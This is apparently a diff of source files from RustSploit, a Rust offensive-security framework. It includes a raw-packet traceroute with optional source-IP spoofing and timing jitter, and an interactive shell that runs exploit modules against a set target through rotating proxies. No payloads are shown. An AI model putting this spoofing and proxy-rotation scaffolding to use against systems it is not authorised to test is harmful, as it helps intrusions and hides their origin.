let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
|
||||
let mut rng = rand::rng();
|
||||
|
||||
for ttl_val in 1..=MAX_TTL {
|
||||
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
|
||||
let mut ttl_responded = false;
|
||||
|
||||
for _probe_idx in 0..PROBE_COUNT {
|
||||
let icmp_probe_id = rng.random_range(33434..=65535);
|
||||
let icmp_probe_seq = ttl_val as u16;
|
||||
|
||||
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
|
||||
dst_ip,
|
||||
ttl_val,
|
||||
src_ip_override_opt,
|
||||
icmp_probe_id,
|
||||
icmp_probe_seq,
|
||||
)?;
|
||||
|
||||
let _t0 = Instant::now();
|
||||
let response = send_and_receive_one(
|
||||
dst_ip,
|
||||
&packet_bytes,
|
||||
protocol_used,
|
||||
os_sig_params.id,
|
||||
icmp_probe_id,
|
||||
icmp_probe_seq,
|
||||
Duration::from_secs(2),
|
||||
).await?;
|
||||
|
||||
if let Some(res) = response {
|
||||
ttl_responded = true;
|
||||
let rtt_str = format!("{:.1}ms", res.rtt_ms);
|
||||
|
||||
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
|
||||
print!("{} ", res.icmp_info.description);
|
||||
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
|
||||
|
||||
if res.source_ip == dst_ip {
|
||||
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
|
||||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
|
||||
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
|
||||
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
|
||||
}
|
||||
|
||||
if !ttl_responded {
|
||||
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut user_input = String::new();
|
||||
print!("Are you running this as sudo? (yes/no): ");
|
||||
stdout().flush().unwrap();
|
||||
stdin().read_line(&mut user_input).expect("Failed to read line");
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
std::process::exit(1);
|
||||
}
|
||||
} else if user_input.trim().to_lowercase() == "no" {
|
||||
println!("Please run this script as sudo.");
|
||||
std::process::exit(1);
|
||||
} else {
|
||||
println!("Invalid input. Exiting.");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
println!("by suicidalteddy");
|
||||
println!("github.com/s-b-repo");
|
||||
println!("medium.com/@suicdalteddy/about");
|
||||
|
||||
if target.is_empty() {
|
||||
bail!("No target provided.");
|
||||
}
|
||||
|
||||
execute_traceroute(target).await.map_err(|e| {
|
||||
eprintln!("{}", format!("[-] Error: {}", e).red());
|
||||
e
|
||||
})
|
||||
}
|
||||
+214
@@ -0,0 +1,214 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use anyhow::Result;
|
||||
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
current_target: Option<String>,
|
||||
proxy_list: Vec<String>,
|
||||
proxy_enabled: bool,
|
||||
}
|
||||
|
||||
impl ShellContext {
|
||||
fn new() -> Self {
|
||||
ShellContext {
|
||||
current_module: None,
|
||||
current_target: None,
|
||||
proxy_list: Vec::new(),
|
||||
proxy_enabled: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
loop {
|
||||
print!("rsf> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let input = input.trim();
|
||||
|
||||
if input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match input {
|
||||
"exit" | "quit" => {
|
||||
println!("Exiting...");
|
||||
break;
|
||||
},
|
||||
"help" => {
|
||||
println!("Available commands:");
|
||||
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
|
||||
println!(" set target <value> - Set the target IP/host");
|
||||
println!(" run - Run the current module (with proxy retries if enabled)");
|
||||
println!(" modules - List available modules");
|
||||
println!(" find <keyword> - Search for a module by keyword");
|
||||
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
|
||||
println!(" proxy_on - Enable proxy usage");
|
||||
println!(" proxy_off - Disable proxy usage");
|
||||
println!(" show_proxies - Show loaded proxies & current proxy status");
|
||||
println!(" exit, quit - Exit the shell");
|
||||
},
|
||||
"modules" => {
|
||||
utils::list_all_modules();
|
||||
},
|
||||
cmd if cmd.starts_with("find ") => {
|
||||
let keyword = cmd.trim_start_matches("find ").trim();
|
||||
if keyword.is_empty() {
|
||||
println!("Usage: find <keyword>");
|
||||
} else {
|
||||
utils::find_modules(keyword);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("proxy_load ") => {
|
||||
let file = cmd.trim_start_matches("proxy_load ").trim();
|
||||
match utils::load_proxies_from_file(file) {
|
||||
Ok(list) => {
|
||||
ctx.proxy_list = list;
|
||||
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
},
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
},
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
},
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
},
|
||||
cmd if cmd.starts_with("use ") => {
|
||||
let module_path = cmd.trim_start_matches("use ").trim();
|
||||
if utils::module_exists(module_path) {
|
||||
ctx.current_module = Some(module_path.to_string());
|
||||
println!("Module '{}' selected.", module_path);
|
||||
} else {
|
||||
println!("Module '{}' not found.", module_path);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("set ") => {
|
||||
let parts: Vec<&str> = cmd.split_whitespace().collect();
|
||||
if parts.len() >= 3 && parts[1] == "target" {
|
||||
ctx.current_target = Some(parts[2].to_string());
|
||||
println!("Target set to {}", parts[2]);
|
||||
} else {
|
||||
println!("Usage: set target <value>");
|
||||
}
|
||||
},
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// -----------------------------
|
||||
// NEW: Proxy Retry Logic
|
||||
// -----------------------------
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("No target set. Use 'set target <value>' first.");
|
||||
}
|
||||
} else {
|
||||
println!("No module selected. Use 'use <module>' first.");
|
||||
}
|
||||
},
|
||||
_ => {
|
||||
println!("Unknown command: '{}'. Type 'help' for usage.", input);
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let mut rng = rand::rng();
|
||||
let choices: Vec<&String> = proxy_list
|
||||
.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if let Some(choice) = choices.choose(&mut rng) {
|
||||
choice.to_string()
|
||||
} else {
|
||||
proxy_list.choose(&mut rng).unwrap().to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
// src/utils.rs
|
||||
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader, Error};
|
||||
use std::path::Path;
|
||||
use anyhow::{Result};
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
|
||||
/// always return a valid “host:port” or “[ipv6]:port” string.
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
if raw.contains("]:") || raw.starts_with('[') {
|
||||
// Already normalized, like [::1]:8080 or [2001:db8::1]
|
||||
return Ok(raw.to_string());
|
||||
}
|
||||
|
||||
// Looks like an unwrapped IPv6 address if it has multiple colons
|
||||
let is_ipv6 = raw.matches(':').count() >= 2;
|
||||
|
||||
if is_ipv6 {
|
||||
Ok(format!("[{}]", raw))
|
||||
} else {
|
||||
Ok(raw.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
if depth > MAX_DEPTH || !dir.exists() {
|
||||
return modules;
|
||||
}
|
||||
|
||||
if let Ok(entries) = fs::read_dir(dir) {
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_dir() {
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
let relative_path = path
|
||||
.strip_prefix("src/modules")
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows
|
||||
modules.push(relative_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth (unchanged)
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/ (unchanged)
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
if modules.is_empty() {
|
||||
println!("{}", "No modules found.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
|
||||
for module in modules {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword (unchanged)
|
||||
pub fn find_modules(keyword: &str) {
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
let filtered: Vec<String> = modules
|
||||
.into_iter()
|
||||
.filter(|m| m.to_lowercase().contains(&keyword_lower))
|
||||
.collect();
|
||||
|
||||
if filtered.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("No modules found matching '{}'.", keyword).red()
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("Modules matching '{}':", keyword).bold().underline()
|
||||
);
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
for module in filtered {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Parses a single proxy line (unchanged)
|
||||
fn parse_proxy_line(line: &str) -> String {
|
||||
let trimmed = line.trim().to_lowercase();
|
||||
if trimmed.starts_with("http://")
|
||||
|| trimmed.starts_with("https://")
|
||||
|| trimmed.starts_with("socks4://")
|
||||
|| trimmed.starts_with("socks5://")
|
||||
{
|
||||
line.to_string()
|
||||
} else {
|
||||
format!("http://{}", line)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
let file = fs::File::open(filename)?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
for line in reader.lines() {
|
||||
let line = line?.trim().to_string();
|
||||
if !line.is_empty() {
|
||||
proxies.push(parse_proxy_line(&line));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(proxies)
|
||||
}
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 349 KiB |
Reference in New Issue
Block a user